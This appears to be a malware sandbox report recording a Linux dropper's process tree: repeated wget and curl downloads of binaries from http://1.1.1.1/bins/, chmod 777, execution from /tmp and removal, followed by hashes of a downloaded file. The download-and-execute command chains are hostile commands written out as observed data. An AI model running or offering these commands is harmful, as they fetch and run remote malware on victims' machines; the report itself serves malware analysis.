                                                                                                                                                                                                                                                rm g5J58UFe6c28
                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                  PID:1754
                                                                                                                                                                                                                                                • /usr/bin/wget
                                                                                                                                                                                                                                                  wget http://1.1.1.1/bins/99t5WUMNveDL
                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                    PID:1755
                                                                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                                                                    curl -O http://1.1.1.1/bins/99t5WUMNveDL
                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                    • Writes file to tmp directory
                                                                                                                                                                                                                                                    PID:1756
                                                                                                                                                                                                                                                  • /bin/chmod
                                                                                                                                                                                                                                                    chmod 777 99t5WUMNveDL
                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                      PID:1760
                                                                                                                                                                                                                                                    • /tmp/99t5WUMNveDL
                                                                                                                                                                                                                                                      ./99t5WUMNveDL
                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                      PID:1761
                                                                                                                                                                                                                                                    • /bin/sh
                                                                                                                                                                                                                                                      /bin/sh ./99t5WUMNveDL
                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                        PID:1761
                                                                                                                                                                                                                                                      • /bin/rm
                                                                                                                                                                                                                                                        rm 99t5WUMNveDL
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                          PID:1762
                                                                                                                                                                                                                                                        • /usr/bin/wget
                                                                                                                                                                                                                                                          wget http://1.1.1.1/bins/75R29N7x4smz
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                            PID:1763
                                                                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                                                                            curl -O http://1.1.1.1/bins/75R29N7x4smz
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                            • Writes file to tmp directory
                                                                                                                                                                                                                                                            PID:1764
                                                                                                                                                                                                                                                          • /bin/chmod
                                                                                                                                                                                                                                                            chmod 777 75R29N7x4smz
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                              PID:1768
                                                                                                                                                                                                                                                            • /tmp/75R29N7x4smz
                                                                                                                                                                                                                                                              ./75R29N7x4smz
                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                              PID:1769
                                                                                                                                                                                                                                                            • /bin/sh
                                                                                                                                                                                                                                                              /bin/sh ./75R29N7x4smz
                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                PID:1769
                                                                                                                                                                                                                                                              • /bin/rm
                                                                                                                                                                                                                                                                rm 75R29N7x4smz
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                  PID:1770
                                                                                                                                                                                                                                                                • /usr/bin/wget
                                                                                                                                                                                                                                                                  wget http://1.1.1.1/bins/6DqAV97MRI5l
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                    PID:1771
                                                                                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                                                                                    curl -O http://1.1.1.1/bins/6DqAV97MRI5l
                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                    • Writes file to tmp directory
                                                                                                                                                                                                                                                                    PID:1772
                                                                                                                                                                                                                                                                  • /bin/chmod
                                                                                                                                                                                                                                                                    chmod 777 6DqAV97MRI5l
                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                      PID:1776
                                                                                                                                                                                                                                                                    • /tmp/6DqAV97MRI5l
                                                                                                                                                                                                                                                                      ./6DqAV97MRI5l
                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                      PID:1777
                                                                                                                                                                                                                                                                    • /bin/sh
                                                                                                                                                                                                                                                                      /bin/sh ./6DqAV97MRI5l
                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                        PID:1777
                                                                                                                                                                                                                                                                      • /bin/rm
                                                                                                                                                                                                                                                                        rm 6DqAV97MRI5l
                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                          PID:1778
                                                                                                                                                                                                                                                                        • /usr/bin/wget
                                                                                                                                                                                                                                                                          wget http://1.1.1.1/bins/a9B3p9KryWWr
                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                            PID:1779
                                                                                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                                                                                            curl -O http://1.1.1.1/bins/a9B3p9KryWWr
                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                            • Writes file to tmp directory
                                                                                                                                                                                                                                                                            PID:1780
                                                                                                                                                                                                                                                                          • /bin/chmod
                                                                                                                                                                                                                                                                            chmod 777 a9B3p9KryWWr
                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                              PID:1784
                                                                                                                                                                                                                                                                            • /tmp/a9B3p9KryWWr
                                                                                                                                                                                                                                                                              ./a9B3p9KryWWr
                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                              PID:1785
                                                                                                                                                                                                                                                                            • /bin/sh
                                                                                                                                                                                                                                                                              /bin/sh ./a9B3p9KryWWr
                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                PID:1785
                                                                                                                                                                                                                                                                              • /bin/rm
                                                                                                                                                                                                                                                                                rm a9B3p9KryWWr
                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                  PID:1786
                                                                                                                                                                                                                                                                                • /usr/bin/wget
                                                                                                                                                                                                                                                                                  wget http://1.1.1.1/bins/Keg853zjVUWW
                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                    PID:1787
                                                                                                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                                                                                                    curl -O http://1.1.1.1/bins/Keg853zjVUWW
                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                    • Writes file to tmp directory
                                                                                                                                                                                                                                                                                    PID:1791
                                                                                                                                                                                                                                                                                  • /bin/chmod
                                                                                                                                                                                                                                                                                    chmod 777 Keg853zjVUWW
                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                      PID:1792
                                                                                                                                                                                                                                                                                    • /tmp/Keg853zjVUWW
                                                                                                                                                                                                                                                                                      ./Keg853zjVUWW
                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                      PID:1793
                                                                                                                                                                                                                                                                                    • /bin/sh
                                                                                                                                                                                                                                                                                      /bin/sh ./Keg853zjVUWW
                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                        PID:1793
                                                                                                                                                                                                                                                                                      • /bin/rm
                                                                                                                                                                                                                                                                                        rm Keg853zjVUWW
                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                          PID:1794
                                                                                                                                                                                                                                                                                        • /usr/bin/wget
                                                                                                                                                                                                                                                                                          wget http://1.1.1.1/bins/A9m2V5O178xc
                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                            PID:1795
                                                                                                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                                                                                                            curl -O http://1.1.1.1/bins/A9m2V5O178xc
                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                            • Writes file to tmp directory
                                                                                                                                                                                                                                                                                            PID:1796
                                                                                                                                                                                                                                                                                          • /bin/chmod
                                                                                                                                                                                                                                                                                            chmod 777 A9m2V5O178xc
                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                              PID:1800
                                                                                                                                                                                                                                                                                            • /tmp/A9m2V5O178xc
                                                                                                                                                                                                                                                                                              ./A9m2V5O178xc
                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                                              PID:1801
                                                                                                                                                                                                                                                                                            • /bin/sh
                                                                                                                                                                                                                                                                                              /bin/sh ./A9m2V5O178xc
                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                PID:1801
                                                                                                                                                                                                                                                                                              • /bin/rm
                                                                                                                                                                                                                                                                                                rm A9m2V5O178xc
                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                  PID:1802
                                                                                                                                                                                                                                                                                                • /usr/bin/wget
                                                                                                                                                                                                                                                                                                  wget http://1.1.1.1/bins/7n0Oym3K50gk
                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                    PID:1803
                                                                                                                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                                                                                                                    curl -O http://1.1.1.1/bins/7n0Oym3K50gk
                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                    • Writes file to tmp directory
                                                                                                                                                                                                                                                                                                    PID:1804
                                                                                                                                                                                                                                                                                                  • /bin/chmod
                                                                                                                                                                                                                                                                                                    chmod 777 7n0Oym3K50gk
                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                      PID:1808
                                                                                                                                                                                                                                                                                                    • /tmp/7n0Oym3K50gk
                                                                                                                                                                                                                                                                                                      ./7n0Oym3K50gk
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                                      PID:1809
                                                                                                                                                                                                                                                                                                    • /bin/sh
                                                                                                                                                                                                                                                                                                      /bin/sh ./7n0Oym3K50gk
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                        PID:1809
                                                                                                                                                                                                                                                                                                      • /bin/rm
                                                                                                                                                                                                                                                                                                        rm 7n0Oym3K50gk
                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                          PID:1810
                                                                                                                                                                                                                                                                                                        • /usr/bin/wget
                                                                                                                                                                                                                                                                                                          wget http://1.1.1.1/bins/eB36T1Vz1BR7
                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                            PID:1811
                                                                                                                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                                                                                                                            curl -O http://1.1.1.1/bins/eB36T1Vz1BR7
                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                            • Writes file to tmp directory
                                                                                                                                                                                                                                                                                                            PID:1812
                                                                                                                                                                                                                                                                                                          • /bin/chmod
                                                                                                                                                                                                                                                                                                            chmod 777 eB36T1Vz1BR7
                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                              PID:1816
                                                                                                                                                                                                                                                                                                            • /tmp/eB36T1Vz1BR7
                                                                                                                                                                                                                                                                                                              ./eB36T1Vz1BR7
                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                                                              PID:1817
                                                                                                                                                                                                                                                                                                            • /bin/sh
                                                                                                                                                                                                                                                                                                              /bin/sh ./eB36T1Vz1BR7
                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                PID:1817
                                                                                                                                                                                                                                                                                                              • /bin/rm
                                                                                                                                                                                                                                                                                                                rm eB36T1Vz1BR7
                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                  PID:1818
                                                                                                                                                                                                                                                                                                                • /usr/bin/wget
                                                                                                                                                                                                                                                                                                                  wget http://1.1.1.1/bins/d0S83KAM9zlX
                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                    PID:1819
                                                                                                                                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                    curl -O http://1.1.1.1/bins/d0S83KAM9zlX
                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                    • Writes file to tmp directory
                                                                                                                                                                                                                                                                                                                    PID:1820
                                                                                                                                                                                                                                                                                                                  • /bin/chmod
                                                                                                                                                                                                                                                                                                                    chmod 777 d0S83KAM9zlX
                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                      PID:1824
                                                                                                                                                                                                                                                                                                                    • /tmp/d0S83KAM9zlX
                                                                                                                                                                                                                                                                                                                      ./d0S83KAM9zlX
                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                      PID:1825
                                                                                                                                                                                                                                                                                                                    • /bin/sh
                                                                                                                                                                                                                                                                                                                      /bin/sh ./d0S83KAM9zlX
                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                        PID:1825
                                                                                                                                                                                                                                                                                                                      • /bin/rm
                                                                                                                                                                                                                                                                                                                        rm d0S83KAM9zlX
                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                          PID:1826
                                                                                                                                                                                                                                                                                                                        • /usr/bin/wget
                                                                                                                                                                                                                                                                                                                          wget http://1.1.1.1/bins/r47rVZNa4P5H
                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                            PID:1827
                                                                                                                                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                            curl -O http://1.1.1.1/bins/r47rVZNa4P5H
                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                            • Writes file to tmp directory
                                                                                                                                                                                                                                                                                                                            PID:1828
                                                                                                                                                                                                                                                                                                                          • /bin/chmod
                                                                                                                                                                                                                                                                                                                            chmod 777 r47rVZNa4P5H
                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                              PID:1832
                                                                                                                                                                                                                                                                                                                            • /tmp/r47rVZNa4P5H
                                                                                                                                                                                                                                                                                                                              ./r47rVZNa4P5H
                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                              PID:1833
                                                                                                                                                                                                                                                                                                                            • /bin/sh
                                                                                                                                                                                                                                                                                                                              /bin/sh ./r47rVZNa4P5H
                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                PID:1833
                                                                                                                                                                                                                                                                                                                              • /bin/rm
                                                                                                                                                                                                                                                                                                                                rm r47rVZNa4P5H
                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                  PID:1834
                                                                                                                                                                                                                                                                                                                                • /usr/bin/wget
                                                                                                                                                                                                                                                                                                                                  wget http://1.1.1.1/bins/xD39YVDoU52O
                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                    PID:1835
                                                                                                                                                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                    curl -O http://1.1.1.1/bins/xD39YVDoU52O
                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                    • Writes file to tmp directory
                                                                                                                                                                                                                                                                                                                                    PID:1836
                                                                                                                                                                                                                                                                                                                                  • /bin/chmod
                                                                                                                                                                                                                                                                                                                                    chmod 777 xD39YVDoU52O
                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                      PID:1840
                                                                                                                                                                                                                                                                                                                                    • /tmp/xD39YVDoU52O
                                                                                                                                                                                                                                                                                                                                      ./xD39YVDoU52O
                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                      PID:1841
                                                                                                                                                                                                                                                                                                                                    • /bin/sh
                                                                                                                                                                                                                                                                                                                                      /bin/sh ./xD39YVDoU52O
                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                        PID:1841
                                                                                                                                                                                                                                                                                                                                      • /bin/rm
                                                                                                                                                                                                                                                                                                                                        rm xD39YVDoU52O
                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                          PID:1842
                                                                                                                                                                                                                                                                                                                                        • /usr/bin/wget
                                                                                                                                                                                                                                                                                                                                          wget http://1.1.1.1/bins/412LyNzMjQhY
                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                            PID:1843
                                                                                                                                                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                            curl -O http://1.1.1.1/bins/412LyNzMjQhY
                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                            • Writes file to tmp directory
                                                                                                                                                                                                                                                                                                                                            PID:1844
                                                                                                                                                                                                                                                                                                                                          • /bin/chmod
                                                                                                                                                                                                                                                                                                                                            chmod 777 412LyNzMjQhY
                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                              PID:1848
                                                                                                                                                                                                                                                                                                                                            • /tmp/412LyNzMjQhY
                                                                                                                                                                                                                                                                                                                                              ./412LyNzMjQhY
                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                              PID:1849
                                                                                                                                                                                                                                                                                                                                            • /bin/sh
                                                                                                                                                                                                                                                                                                                                              /bin/sh ./412LyNzMjQhY
                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                PID:1849
                                                                                                                                                                                                                                                                                                                                              • /bin/rm
                                                                                                                                                                                                                                                                                                                                                rm 412LyNzMjQhY
                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                  PID:1850
                                                                                                                                                                                                                                                                                                                                                • /usr/bin/wget
                                                                                                                                                                                                                                                                                                                                                  wget http://1.1.1.1/bins/z06C2GvUPwgU
                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                    PID:1851
                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                    curl -O http://1.1.1.1/bins/z06C2GvUPwgU
                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                    • Writes file to tmp directory
                                                                                                                                                                                                                                                                                                                                                    PID:1855
                                                                                                                                                                                                                                                                                                                                                  • /bin/chmod
                                                                                                                                                                                                                                                                                                                                                    chmod 777 z06C2GvUPwgU
                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                      PID:1856
                                                                                                                                                                                                                                                                                                                                                    • /tmp/z06C2GvUPwgU
                                                                                                                                                                                                                                                                                                                                                      ./z06C2GvUPwgU
                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                      PID:1857
                                                                                                                                                                                                                                                                                                                                                    • /bin/sh
                                                                                                                                                                                                                                                                                                                                                      /bin/sh ./z06C2GvUPwgU
                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                        PID:1857
                                                                                                                                                                                                                                                                                                                                                      • /bin/rm
                                                                                                                                                                                                                                                                                                                                                        rm z06C2GvUPwgU
                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                          PID:1858
                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/wget
                                                                                                                                                                                                                                                                                                                                                          wget http://1.1.1.1/bins/0hGdo5jn8Uh4
                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                            PID:1859
                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                            curl -O http://1.1.1.1/bins/0hGdo5jn8Uh4
                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                            • Writes file to tmp directory
                                                                                                                                                                                                                                                                                                                                                            PID:1863
                                                                                                                                                                                                                                                                                                                                                          • /bin/chmod
                                                                                                                                                                                                                                                                                                                                                            chmod 777 0hGdo5jn8Uh4
                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                              PID:1864
                                                                                                                                                                                                                                                                                                                                                            • /tmp/0hGdo5jn8Uh4
                                                                                                                                                                                                                                                                                                                                                              ./0hGdo5jn8Uh4
                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                              PID:1865
                                                                                                                                                                                                                                                                                                                                                            • /bin/sh
                                                                                                                                                                                                                                                                                                                                                              /bin/sh ./0hGdo5jn8Uh4
                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                PID:1865
                                                                                                                                                                                                                                                                                                                                                              • /bin/rm
                                                                                                                                                                                                                                                                                                                                                                rm 0hGdo5jn8Uh4
                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:1866
                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/wget
                                                                                                                                                                                                                                                                                                                                                                  wget http://1.1.1.1/bins/Fl78L8jypOEM
                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:1867
                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                    curl -O http://1.1.1.1/bins/Fl78L8jypOEM
                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                    • Writes file to tmp directory
                                                                                                                                                                                                                                                                                                                                                                    PID:1871
                                                                                                                                                                                                                                                                                                                                                                  • /bin/chmod
                                                                                                                                                                                                                                                                                                                                                                    chmod 777 Fl78L8jypOEM
                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:1872
                                                                                                                                                                                                                                                                                                                                                                    • /tmp/Fl78L8jypOEM
                                                                                                                                                                                                                                                                                                                                                                      ./Fl78L8jypOEM
                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                      PID:1873
                                                                                                                                                                                                                                                                                                                                                                    • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                      /bin/sh ./Fl78L8jypOEM
                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:1873
                                                                                                                                                                                                                                                                                                                                                                      • /bin/rm
                                                                                                                                                                                                                                                                                                                                                                        rm Fl78L8jypOEM
                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:1874

                                                                                                                                                                                                                                                                                                                                                                      Network

                                                                                                                                                                                                                                                                                                                                                                      MITRE ATT&CK Matrix

                                                                                                                                                                                                                                                                                                                                                                      Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                      Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                      Downloads

                                                                                                                                                                                                                                                                                                                                                                      • /tmp/7z3YX2ZRrPkf
                                                                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                                                                        167B

                                                                                                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                                                                                                        0104c301c5e02bd6148b8703d19b3a73

                                                                                                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                                                                                                        7436e0b4b1f8c222c38069890b75fa2baf9ca620

                                                                                                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                                                                                                        446a6087825fa73eadb045e5a2e9e2adf7df241b571228187728191d961dda1f

                                                                                                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                                                                                                        84427b656a6234a651a6d8285c103645b861a18a6c5af4abb5cb4f3beb5a4f0df4a74603a0896c7608790fbb886dc40508e92d5709f44dca05dd46c8316d15bf

                                                                                                                                                                                                                                                                                                                                                                        Download Submit